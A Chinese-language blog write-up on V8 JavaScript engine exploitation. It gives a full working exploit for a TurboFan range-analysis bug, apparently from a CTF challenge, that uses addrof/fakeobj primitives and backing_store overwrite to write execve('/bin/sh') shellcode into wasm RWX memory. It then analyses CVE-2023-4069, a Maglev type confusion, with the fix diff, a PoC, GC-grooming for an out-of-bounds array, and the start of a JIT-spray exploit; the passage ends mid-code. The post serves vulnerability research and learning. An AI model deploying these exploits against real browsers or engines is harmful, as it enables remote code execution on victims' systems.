172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.i64 = new BigInt64Array(this.buf);

this.state = {};
this.i = 0;
}



// float64 → uint64
f2i(x) {
this.f64[0] = x;
return this.u64[0];
}

// uint64 → float64
i2f(x) {
this.u64[0] = x;
return this.f64[0];
}

// int to hex string
hex(x) {
return "0x" + x.toString(16);
}

// float to hex string
f2h(x) {
return this.hex(this.f2i(x));
}

// float to aligned address (clear low 2 bits)
f2a(x) {
return this.f2i(x) >> 2n << 2n;
}

// address to float (set low bit)
a2f(x) {
return this.i2f(x | 1n);
}



// float64 → int64 (signed)
f2is(x) {
this.f64[0] = x;
return this.i64[0];
}

// int64 → float64 (signed)
i2fs(x) {
this.i64[0] = x;
return this.f64[0];
}



// float64 → low 32-bit
f2lo(x) {
this.f64[0] = x;
return this.u32[0];
}

// float64 → high 32-bit
f2hi(x) {
this.f64[0] = x;
return this.u32[1];
}

// two 32-bit → float64
i2f64(lo, hi) {
this.u32[0] = lo >>> 0;
this.u32[1] = hi >>> 0;
return this.f64[0];
}

// int64 → low 32-bit
i2lo(i) {
return Number(i & 0xffffffffn);
}

// int64 → high 32-bit
i2hi(i) {
return Number(i >> 32n);
}



// float32 → int32
f32toi32(f) {
this.f32[0] = f;
return this.u32[0];
}

// int32 → float32
i32tof32(i) {
this.u32[0] = i;
return this.f32[0];
}



p(arg) {
%DebugPrint(arg);
}

debug(arg) {
%DebugPrint(arg);
%SystemBreak();
}

stop() {
%SystemBreak();
}



hex32(i) {
return i.toString(16).padStart(8, "0");
}

hex64(i) {
return i.toString(16).padStart(16, "0");
}

hexx(str, val) {
console.log(`[*] ${str}: 0x${val.toString(16)}`);
}

printhex(val) {
console.log("0x" + val.toString(16));
}



add_ref(obj) {
this.state[this.i++] = obj;
}

gc() {
new ArrayBuffer(0x7fe00000);
new ArrayBuffer(0x7fe00000);
new ArrayBuffer(0x7fe00000);
new ArrayBuffer(0x7fe00000);
new ArrayBuffer(0x7fe00000);
}
}


const helpers = new Helpers();


const f2i = x => helpers.f2i(x);
const i2f = x => helpers.i2f(x);
const hex = x => helpers.hex(x);
const f2h = x => helpers.f2h(x);
const f2a = x => helpers.f2a(x);
const a2f = x => helpers.a2f(x);
const f2is = x => helpers.f2is(x);
const i2fs = x => helpers.i2fs(x);
const f2lo = x => helpers.f2lo(x);
const f2hi = x => helpers.f2hi(x);
const i2f64 = (lo, hi) => helpers.i2f64(lo, hi);
const i2lo = x => helpers.i2lo(x);
const i2hi = x => helpers.i2hi(x);
const f32toi32 = x => helpers.f32toi32(x);
const i32tof32 = x => helpers.i32tof32(x);
const p = x => helpers.p(x);
const debug = x => helpers.debug(x);
const stop = () => helpers.stop();
const hex32 = x => helpers.hex32(x);
const hex64 = x => helpers.hex64(x);
const hexx = (str, val) => helpers.hexx(str, val);
const printhex = x => helpers.printhex(x);
const add_ref = x => helpers.add_ref(x);
const gc = () => helpers.gc();

function f(func, idx, trigger, obj, addr) {
let double_arr = [0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8];
let obj_arr = [{}];
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
let y = x + 1 + 1;
let z = y - 9007199254740991; // Range(0, 1) but 3
z *= 6; // Range(0, 6) but 18

if (func == "addrof") {
obj_arr[idx] = obj;
return f2a(double_arr[z]);
}

if (func == "fakeobj") {
double_arr[z] = a2f(addr);
return obj_arr[idx];
}
}
for (let i = 0; i < 0x100000; i++) {
f("addrof", 0, 0, {}, 0n);
f("fakeobj", 0, 0, {}, 0n);
}
const addrof = obj => f("addrof", 0, 1, obj, 0n);
const fakeobj = addr => f("fakeobj", 0, 1, {}, addr);

解释一下这里f的idx参数因为直接obj_arr[0]会被优化掉导致对象数组不存在(对象数组直接被优化成对象),所以加一个idx可变得值让他不被直接优化成一个对象,但是伪造一个数组进行任意地址读写需要map,调试发现elements附近没有map,也就是刚才的方法用不了,不过目的都是任意地址读写,放一个ArrayBuffer进行调试,可以发现Float64Array有一个类似backing_store的指针存储的位置和double_arr的elements地址接近,查了一下说是backing_store的副本,可以通过越界double_arr来改backing_store指针实现一个任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.i64 = new BigInt64Array(this.buf);

this.state = {};
this.i = 0;
}



// float64 → uint64
f2i(x) {
this.f64[0] = x;
return this.u64[0];
}

// uint64 → float64
i2f(x) {
this.u64[0] = x;
return this.f64[0];
}

// int to hex string
hex(x) {
return "0x" + x.toString(16);
}

// float to hex string
f2h(x) {
return this.hex(this.f2i(x));
}

// float to aligned address (clear low 2 bits)
f2a(x) {
return this.f2i(x) >> 2n << 2n;
}

// address to float (set low bit)
a2f(x) {
return this.i2f(x | 1n);
}



// float64 → int64 (signed)
f2is(x) {
this.f64[0] = x;
return this.i64[0];
}

// int64 → float64 (signed)
i2fs(x) {
this.i64[0] = x;
return this.f64[0];
}



// float64 → low 32-bit
f2lo(x) {
this.f64[0] = x;
return this.u32[0];
}

// float64 → high 32-bit
f2hi(x) {
this.f64[0] = x;
return this.u32[1];
}

// two 32-bit → float64
i2f64(lo, hi) {
this.u32[0] = lo >>> 0;
this.u32[1] = hi >>> 0;
return this.f64[0];
}

// int64 → low 32-bit
i2lo(i) {
return Number(i & 0xffffffffn);
}

// int64 → high 32-bit
i2hi(i) {
return Number(i >> 32n);
}



// float32 → int32
f32toi32(f) {
this.f32[0] = f;
return this.u32[0];
}

// int32 → float32
i32tof32(i) {
this.u32[0] = i;
return this.f32[0];
}



p(arg) {
%DebugPrint(arg);
}

debug(arg) {
%DebugPrint(arg);
%SystemBreak();
}

stop() {
%SystemBreak();
}



hex32(i) {
return i.toString(16).padStart(8, "0");
}

hex64(i) {
return i.toString(16).padStart(16, "0");
}

hexx(str, val) {
console.log(`[*] ${str}: 0x${val.toString(16)}`);
}

printhex(val) {
console.log("0x" + val.toString(16));
}



add_ref(obj) {
this.state[this.i++] = obj;
}

gc() {
new ArrayBuffer(0x7fe00000);
new ArrayBuffer(0x7fe00000);
new ArrayBuffer(0x7fe00000);
new ArrayBuffer(0x7fe00000);
new ArrayBuffer(0x7fe00000);
}
}


const helpers = new Helpers();


const f2i = x => helpers.f2i(x);
const i2f = x => helpers.i2f(x);
const hex = x => helpers.hex(x);
const f2h = x => helpers.f2h(x);
const f2a = x => helpers.f2a(x);
const a2f = x => helpers.a2f(x);
const f2is = x => helpers.f2is(x);
const i2fs = x => helpers.i2fs(x);
const f2lo = x => helpers.f2lo(x);
const f2hi = x => helpers.f2hi(x);
const i2f64 = (lo, hi) => helpers.i2f64(lo, hi);
const i2lo = x => helpers.i2lo(x);
const i2hi = x => helpers.i2hi(x);
const f32toi32 = x => helpers.f32toi32(x);
const i32tof32 = x => helpers.i32tof32(x);
const p = x => helpers.p(x);
const debug = x => helpers.debug(x);
const stop = () => helpers.stop();
const hex32 = x => helpers.hex32(x);
const hex64 = x => helpers.hex64(x);
const hexx = (str, val) => helpers.hexx(str, val);
const printhex = x => helpers.printhex(x);
const add_ref = x => helpers.add_ref(x);
const gc = () => helpers.gc();




function f(func, idx, trigger, obj, addr) {
let double_arr = [0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8];
let obj_arr = [{}];
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
let y = x + 1 + 1;
let z = y - 9007199254740991; // Range(0, 1) but 3
z *= 6; // Range(0, 6) but 18

if (func == "addrof") {
obj_arr[idx] = obj;
return f2a(double_arr[z]);
}

if (func == "fakeobj") {
double_arr[z] = a2f(addr);
return obj_arr[idx];
}
}
for (let i = 0; i < 0x10000; i++) {
f("addrof", 0, 0, {}, 0n);
f("fakeobj", 0, 0, {}, 0n);
}
const addrof = obj => f("addrof", 0, 1, obj, 0n);
const fakeobj = addr => f("fakeobj", 0, 1, {}, addr);


let arrbuf = new ArrayBuffer(0x100);

function r(idx, trigger, addr) {
let double_arr = [0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8];
let another_arr = new Float64Array(arrbuf);
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
let y = x + 1 + 1;
let z = y - 9007199254740991; // Range(0, 1) but 3
z *= 7; // Range(0, 6) but 21
trigger = another_arr[idx];
double_arr[z] = i2f(addr);
return another_arr;
}
for (let i = 0; i < 0x10000; i++)
r(0, 0, 0n);
let replace_bks = addr => r(0, 1, addr);

let wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0,
1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128,
128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105,
110, 0, 0, 10, 142, 128, 128, 128, 0, 1, 136, 128, 128, 128, 0, 0, 65, 239, 253, 182, 245, 125,
11,
]);
let wasm_module = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_module);
let shell = wasm_instance.exports.main
let data = replace_bks(addrof(wasm_instance));
let rwx_addr = f2a(data[0x1d]);
data = replace_bks(rwx_addr);


print("rwx_addr: ", hex(rwx_addr));

let shellcode = new BigInt64Array([
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
]);
for (let i = 0; i < shellcode.length; i++)
data[i] = i2f(shellcode[i]);
shell()

参考

https://blog.wingszeng.top/2018-google-ctf-just-in-time/

https://kiprey.github.io/2021/01/v8-turboFan/

CVE-2023-4069复现

CVE-2023-4069是关于Maglev图建阶段的一个漏洞 刚好可以用来学习V8中的maglev

环境搭建

1
2
3
git checkout 5315f073233429c5f5c2c794594499debda307bd
gclient sync -D
python3 tools\dev\gm.py x64.release

漏洞成因

漏洞主要在Maglev 分配对象中快速路径的部分

下面是分配对象的一个函数示例

1
2
Reflect.construct(target, argumentsList[, newTarget])
target可以理解为当前要分配的类,argumentsList是类数组,newTarget指的是原型类
快速路径的分配流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
TNode<JSObject> ConstructorBuiltinsAssembler::FastNewObject(
TNode<Context> context, TNode<JSFunction> target,
TNode<JSReceiver> new_target, Label* call_runtime) {
// Verify that the new target is a JSFunction.
Label end(this);
TNode<JSFunction> new_target_func =
HeapObjectToJSFunctionWithPrototypeSlot(new_target, call_runtime);
// Fast path.

// Load the initial map and verify that it's in fact a map.
TNode<Object> initial_map_or_proto =
LoadJSFunctionPrototypeOrInitialMap(new_target_func);
GotoIf(TaggedIsSmi(initial_map_or_proto), call_runtime);
GotoIf(DoesntHaveInstanceType(CAST(initial_map_or_proto), MAP_TYPE),
call_runtime);
TNode<Map> initial_map = CAST(initial_map_or_proto);

// Fall back to runtime if the target differs from the new target's
// initial map constructor.
TNode<Object> new_target_constructor = LoadObjectField(
initial_map, Map::kConstructorOrBackPointerOrNativeContextOffset);
GotoIf(TaggedNotEqual(target, new_target_constructor), call_runtime);

TVARIABLE(HeapObject, properties);

Label instantiate_map(this), allocate_properties(this);
GotoIf(IsDictionaryMap(initial_map), &allocate_properties);
{
properties = EmptyFixedArrayConstant();
Goto(&instantiate_map);
}
BIND(&allocate_properties);
{
if (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {
properties =
AllocateSwissNameDictionary(SwissNameDictionary::kInitialCapacity);
} else {
properties = AllocateNameDictionary(NameDictionary::kInitialCapacity);
}
Goto(&instantiate_map);
}

BIND(&instantiate_map);
return AllocateJSObjectFromMap(initial_map, properties.value(), base::nullopt,
AllocationFlag::kNone, kWithSlackTracking);
}

条件就是

  • new_target的类型是JSFunction
  • new_target_func的initial map是否是smi类型,smi指的是低位不是1的地址,因为map在v8中是对象指针,所以低位肯定是1
  • target和new_target_constructor相同
  • map的类型为DictionaryMap

否则会进入到慢速分配中

diff分析

下面分析一下这个CVE的diff文件,这个diff是修复代码不是以前的制造漏洞的diff,不会真的有人做题时把它patch到v8编译吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index d5f6128..2c5227e 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -5347,6 +5347,14 @@
StoreRegister(iterator_.GetRegisterOperand(0), map_proto);
}

+bool MaglevGraphBuilder::HasValidInitialMap(
+ compiler::JSFunctionRef new_target, compiler::JSFunctionRef constructor) {
+ if (!new_target.map(broker()).has_prototype_slot()) return false;
+ if (!new_target.has_initial_map(broker())) return false;
+ compiler::MapRef initial_map = new_target.initial_map(broker());
+ return initial_map.GetConstructor(broker()).equals(constructor);
+}
+
void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0);
ValueNode* new_target = LoadRegisterTagged(1);
@@ -5380,7 +5388,9 @@
TryGetConstant(new_target);
if (kind == FunctionKind::kDefaultBaseConstructor) {
ValueNode* object;
- if (new_target_function && new_target_function->IsJSFunction()) {
+ if (new_target_function && new_target_function->IsJSFunction() &&
+ HasValidInitialMap(new_target_function->AsJSFunction(),
+ current_function)) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(),
broker()),
diff --git a/src/maglev/maglev-graph-builder.h b/src/maglev/maglev-graph-builder.h
index 0abb4a8..d92354c 100644
--- a/src/maglev/maglev-graph-builder.h
+++ b/src/maglev/maglev-graph-builder.h
@@ -1884,6 +1884,9 @@
void MergeDeadLoopIntoFrameState(int target);
void MergeIntoInlinedReturnFrameState(BasicBlock* block);

+ bool HasValidInitialMap(compiler::JSFunctionRef new_target,
+ compiler::JSFunctionRef constructor);
+
enum JumpType { kJumpIfTrue, kJumpIfFalse };
enum class BranchSpecializationMode { kDefault, kAlwaysBoolean };
JumpType NegateJumpType(JumpType jump_type);
diff --git a/test/mjsunit/maglev/regress/regress-crbug-1465326.js b/test/mjsunit/maglev/regress/regress-crbug-1465326.js
new file mode 100644
index 0000000..6e01c1e
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-crbug-1465326.js
@@ -0,0 +1,25 @@
+// Copyright 2023 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --maglev --allow-natives-syntax
+
+class A {}
+
+var x = Function;
+
+class B extends A {
+ constructor() {
+ x = new.target;
+ super();
+ }
+}
+function construct() {
+ return Reflect.construct(B, [], Function);
+}
+%PrepareFunctionForOptimization(B);
+construct();
+construct();
+%OptimizeMaglevOnNextCall(B);
+var arr = construct();
+console.log(arr.prototype);

从这个MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct()函数名不难看出,这个流程发生在Maglev的图建立阶段,用于处理派生类非默认构造函数的访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
if (compiler::OptionalHeapObjectRef constant =
TryGetConstant(this_function)) {
compiler::MapRef function_map = constant->map(broker());
compiler::HeapObjectRef current = function_map.prototype(broker());

while (true) {
if (!current.IsJSFunction()) break;
compiler::JSFunctionRef current_function = current.AsJSFunction();
if (current_function.shared(broker())
.requires_instance_members_initializer()) {
break;
}
if (current_function.context(broker())
.scope_info(broker())
.ClassScopeHasPrivateBrand()) {
break;
}
FunctionKind kind = current_function.shared(broker()).kind();
if (kind == FunctionKind::kDefaultDerivedConstructor) {
if (!broker()->dependencies()->DependOnArrayIteratorProtector()) break;
} else {
broker()->dependencies()->DependOnStablePrototypeChain(
function_map, WhereToStart::kStartAtReceiver, current_function);

compiler::OptionalHeapObjectRef new_target_function =
TryGetConstant(new_target);
if (kind == FunctionKind::kDefaultBaseConstructor) {
ValueNode* object;
if (new_target_function && new_target_function->IsJSFunction()) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(),
broker()),
AllocationType::kYoung);
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});
}
StoreRegister(register_pair.first, GetBooleanConstant(true));
StoreRegister(register_pair.second, object);
return;
}
break;
}

// Keep walking up the class tree.
current = current_function.map(broker()).prototype(broker());
}
StoreRegister(register_pair.first, GetBooleanConstant(false));
StoreRegister(register_pair.second, GetConstant(current));
return;
}

分析字太多我就懒得打了,而且已经有珠玉在前了 下面给出flyyyy师傅博客上对这段代码的解释,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
首先这里会去判断当前前遍历到的 prototype 对象是不是 JSFunction,接着获取这个function的ref,然后如果当前构造函数有实例字段(或类似需要初始化的成员),就不能跳过这个requires_instance_members_initializer构造函数,必须执行它的初始化逻辑,最后判断当前 class是否 有 private 字段或方法,不存在则会强制执行初始化逻辑

然后通过SFI(SharedFunctionInfo)去获取当前函数的类型,这里补充一下一些函数类型,下面就先解释下会用到的,全部的位于这里src/objects/function-kind.h文件里的FunctionKind枚举类里

- kDefaultBaseConstructor
- 默认的基类构造函数(class A {},没有自定义 constructor)
- kDefaultDerivedConstructor
- 默认的派生类构造函数(class B extends A {},没有自定义 constructor)

当获取到当前函数的类型之后,因为从Derived,所以这个判断kind == FunctionKind::kDefaultDerivedConstructor为true,先执行一个依赖保护,通常都是true。

但是这里我们修改了Derived的构造函数内容,所以这里会返回false,所以会进入else逻辑,但是因为也不是FunctionKind::kDefaultBaseConstructor类型,所以会接着会遍历到上层,会获取到Base的prototype,判断是否为JSFunction时会转化为基类的构造函数,类型对应的是kDefaultBaseConstructor。然后也是执行依赖保护,从function map开始到current_function,也就是Derived开始到base。使用TryGetConstant获取当前构造函数的ref。接着通过if的判断,判断new_target_func函数是否存在且类型是JSFunction,然后调用FastObject分配快速对象,接着调用BuildAllocateFastObject分配对象,类型是kYoung,可以被gc回收

如果说这里原型链没有遍历到基类,那么这里的类型就不会是kDefaultBaseConstructor,从而进入else的逻辑,这里会调用BuildCallBuiltin分配对象

当所有的遍历流程接触,会将结果load到寄存器,最后返回

1

上面的是我让AI根据代码画的一个流程图,也可以看一下这个加速理解

1
2
3
4
5
6
7
8
9
10
11
12
FastObject::FastObject(compiler::JSFunctionRef constructor, Zone* zone,
compiler::JSHeapBroker* broker)
: map(constructor.initial_map(broker)) {
compiler::SlackTrackingPrediction prediction =
broker->dependencies()->DependOnInitialMapInstanceSizePrediction(
constructor);
inobject_properties = prediction.inobject_property_count();
instance_size = prediction.instance_size();
fields = zone->NewArray<FastField>(inobject_properties);
ClearFields();
elements = FastFixedArray();
}

然后可以看到这里没有check根据constructor.initial_map来初始化对象的map,也就是base的initial_map,然后根据当前Base的构造函数预测该构造函数实例化对象的最终属性数量和大小,最后就是为这个对象分配内存

可以看出当快速通道走这条路径时并没有检测target与new_target的map的类型是否一致的情况,如果target是JSObject类型new_target是JSArray类型那么就可以造成类型混淆

下面给出根据走上述有漏洞路径的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var x = Array;

class Base {}

class Derived extends Base {
constructor() {
x = new.target;
super();
}
}

function construct() {
var r = Reflect.construct(Derived, [], x);
return r;
}

%PrepareFunctionForOptimization(Derived);
construct();
construct();
%OptimizeMaglevOnNextCall(Derived);

var arr = construct();
// console.log(arr.length);
%DebugPrint(arr);

image-20251208203420035

可以看出这里输出了lenth字段,但是由于是通过类型混淆后lenth并没被初始化所以这里是0

img

img

不过可以利用gc回收机制,让分配的对象覆盖到原来可能残留的数据上,又因为lenth并没被初始化,所以lenth区域的残留数据(如果有)是并不会被覆盖的,那么如果lenth刚好是一个很大的值,那么就可以有一个oob了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.i64 = new BigInt64Array(this.buf);

this.state = {};
this.i = 0;
}



// float64 → uint64
f2i(x) {
this.f64[0] = x;
return this.u64[0];
}

// uint64 → float64
i2f(x) {
this.u64[0] = x;
return this.f64[0];
}

// int to hex string
hex(x) {
return "0x" + x.toString(16);
}

// float to hex string
f2h(x) {
return this.hex(this.f2i(x));
}

// float to aligned address (clear low 2 bits)
f2a(x) {
return this.f2i(x) >> 2n << 2n;
}

// address to float (set low bit)
a2f(x) {
return this.i2f(x | 1n);
}



// float64 → int64 (signed)
f2is(x) {
this.f64[0] = x;
return this.i64[0];
}

// int64 → float64 (signed)
i2fs(x) {
this.i64[0] = x;
return this.f64[0];
}



// float64 → low 32-bit
f2lo(x) {
this.f64[0] = x;
return this.u32[0];
}

// float64 → high 32-bit
f2hi(x) {
this.f64[0] = x;
return this.u32[1];
}

// two 32-bit → float64
i2f64(lo, hi) {
this.u32[0] = lo >>> 0;
this.u32[1] = hi >>> 0;
return this.f64[0];
}

// int64 → low 32-bit
i2lo(i) {
return Number(i & 0xffffffffn);
}

// int64 → high 32-bit
i2hi(i) {
return Number(i >> 32n);
}



// float32 → int32
f32toi32(f) {
this.f32[0] = f;
return this.u32[0];
}

// int32 → float32
i32tof32(i) {
this.u32[0] = i;
return this.f32[0];
}



p(arg) {
%DebugPrint(arg);
}

debug(arg) {
%DebugPrint(arg);
%SystemBreak();
}

stop() {
%SystemBreak();
}



hex32(i) {
return i.toString(16).padStart(8, "0");
}

hex64(i) {
return i.toString(16).padStart(16, "0");
}

hexx(str, val) {
console.log(`[*] ${str}: 0x${val.toString(16)}`);
}

printhex(val) {
console.log("0x" + val.toString(16));
}



add_ref(obj) {
this.state[this.i++] = obj;
}

gc() {
new Array(0x7fe00000);
}
}


const helpers = new Helpers();


const f2i = x => helpers.f2i(x);
const i2f = x => helpers.i2f(x);
const hex = x => helpers.hex(x);
const f2h = x => helpers.f2h(x);
const f2a = x => helpers.f2a(x);
const a2f = x => helpers.a2f(x);
const f2is = x => helpers.f2is(x);
const i2fs = x => helpers.i2fs(x);
const f2lo = x => helpers.f2lo(x);
const f2hi = x => helpers.f2hi(x);
const i2f64 = (lo, hi) => helpers.i2f64(lo, hi);
const i2lo = x => helpers.i2lo(x);
const i2hi = x => helpers.i2hi(x);
const f32toi32 = x => helpers.f32toi32(x);
const i32tof32 = x => helpers.i32tof32(x);
const p = x => helpers.p(x);
const debug = x => helpers.debug(x);
const stop = () => helpers.stop();
const hex32 = x => helpers.hex32(x);
const hex64 = x => helpers.hex64(x);
const hexx = (str, val) => helpers.hexx(str, val);
const printhex = x => helpers.printhex(x);
const add_ref = x => helpers.add_ref(x);
const gc = () => helpers.gc();


// gain shell
const shellcode = () => {return [
1.9553825422107533e-246,
1.9560612558242147e-246,
1.9995714719542577e-246,
1.9533767332674093e-246,
2.6348604765229606e-284
];}

for(let i = 0; i< 40000; i++){
shellcode();
}

var x = Array;

class Base {}

class Derived extends Base {
constructor() {
x = new.target;
super();
}
}

function construct() {
var res = Reflect.construct(Derived, [], x);
return res;
}

for (let i = 0; i < 2000; i++) construct();

gc();
gc();
//gc();
//gc();
//gc();
let oob_array = construct();
oob_array = construct();
p(oob_array);
hexx('lenth',oob_array.length)

image-20251208204255697

可以看到lenth很大符合我们的要求,通常代码结构不变时lenth处的残留数据值也不变

然后说一下调试时会遇到的问题,写exp调试时可能会加各种输出,这大概率会导致原本的lenth变成很小,或者程序崩溃

这种情况的解决办法就是增多或减少gc()数量,根据笔者调试的经验gc()的数量一般在2-5之间,这种问题目前遇到的debug输出或者改变代码结构,哪怕一行都会出现,所以调试时每次代码结构改变都得重新设置gc()数量

exp编写

笔者当时的想法是直接oob读出map类型混淆,实测时发现如果oob的读一些地址会直接崩溃掉,可能是地址不稳定造成的?

1
2
3
4
5
6
7
8
9
10
11
12
var oob_array = construct();
oob_array = construct();
let float_arr = [1.1,2.2,3.3];
let obj = {};
let obj_arr = [obj];
p(oob_array);
p(obj_arr);
p(float_arr);
console.log(oob_array.length);
var confused_element_addr = 0x219 - 1 + 8;
let map = i2lo(oob_array[(0x25f1c8 - confused_element_addr)/8]);
console.log(hex(map));

下面参考了flyyyy师傅的方法利用Heap Spary在堆上喷一个victim_array,因为Heap Spary victim_array相对oob_array的地址比较稳定

然后就去伪造一个map以及fakeobject进行任意地址读写,最后JIT Spary执行shellcode 不过实际测试下来因为Heap Spary所以map的地址也基本稳定,所以可以不伪造map也行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.i64 = new BigInt64Array(this.buf);

this.state = {};
this.i = 0;
}



// float64 → uint64
f2i(x) {
this.f64[0] = x;
return this.u64[0];
}

// uint64 → float64
i2f(x) {
this.u64[0] = x;
return this.f64[0];
}

// int to hex string
hex(x) {
return "0x" + x.toString(16);
}

// float to hex string
f2h(x) {
return this.hex(this.f2i(x));
}

// float to aligned address (clear low 2 bits)
f2a(x) {
return this.f2i(x) >> 2n << 2n;
}

// address to float (set low bit)
a2f(x) {
return this.i2f(x | 1n);
}



// float64 → int64 (signed)
f2is(x) {
this.f64[0] = x;
return this.i64[0];
}

// int64 → float64 (signed)
i2fs(x) {
this.i64[0] = x;
return this.f64[0];
}



// float64 → low 32-bit
f2lo(x) {
this.f64[0] = x;
return this.u32[0];
}

// float64 → high 32-bit
f2hi(x) {
this.f64[0] = x;
return this.u32[1];
}

// two 32-bit → float64
i2f64(lo, hi) {
this.u32[0] = lo >>> 0;
this.u32[1] = hi >>> 0;
return this.f64[0];
}

// int64 → low 32-bit
i2lo(i) {
return Number(i & 0xffffffffn);
}

// int64 → high 32-bit
i2hi(i) {
return Number(i >> 32n);
}



// float32 → int32
f32toi32(f) {
this.f32[0] = f;
return this.u32[0];
}

// int32 → float32
